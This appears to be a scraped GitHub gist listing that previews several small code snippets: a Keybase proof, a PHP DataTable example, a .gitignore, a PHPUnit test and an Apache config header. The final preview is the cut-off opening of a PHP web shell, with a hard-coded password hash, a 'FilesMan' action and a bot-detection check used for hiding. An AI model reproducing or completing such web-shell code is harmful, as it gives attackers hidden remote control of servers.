I hereby claim:
- I am samvaughton on github.
- I am samvaughton (https://keybase.io/samvaughton) on keybase.
- I have a public key ASAU3reIi_e1nAsgqXK4mZfNnnBLYrJ4yUkdZRpVH1SFcAo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
This list is meant to be a both a quick guide and reference for further research into these topics. It's basically a summary of that comp sci course you never took or forgot about, so there's no way it can cover everything in depth. It also will be available as a gist on Github for everyone to edit and add to.
###Array ####Definition:
| <?php | |
| $query = DB::table('customers'); | |
| $dth = new DataTable(\Input::all(), $query, array( | |
| new Column("id", array( | |
| 'process' => function($columnData, $rowData) { | |
| return "#{$columnData}"; | |
| } | |
| )), | |
| new Column("name"), |
| # Composer | |
| vendor | |
| vendor/* | |
| !public/assets/js/vendor | |
| !public/assets/js/vendor/* | |
| !public/assets/css/vendor | |
| !public/assets/css/vendor/* | |
| composer.phar | |
| composer.lock |
| <?php | |
| // Just a PHPUnit test case for this function. Passes on 3.6.10 of PHPUnit. | |
| public function testCoinChange() | |
| { | |
| $testStub = array( | |
| 99 => array(1, 2, 0, 1, 2, 0), | |
| 50 => array(1, 0, 0, 0, 0, 0), | |
| 3 => array(0, 0, 0, 0, 1, 1), |
| # | |
| # This is the main Apache HTTP server configuration file. It contains the | |
| # configuration directives that give the server its instructions. | |
| # See <URL:httpd.apache.org/docs/2.2>; for detailed information. | |
| # In particular, see | |
| # <URL:httpd.apache.org/docs/2.2/mod/…; | |
| # for a discussion of each configuration directive. | |
| # | |
| # Do NOT simply read the instructions in here without understanding | |
| # what they do. They're here only as hints or reminders. If you are unsure |
| <?php | |
| $auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
| $color = "#df5"; | |
| $default_action = 'FilesMan'; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| #+Dump Columns ////Boolean | |
| if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
| $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
| if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |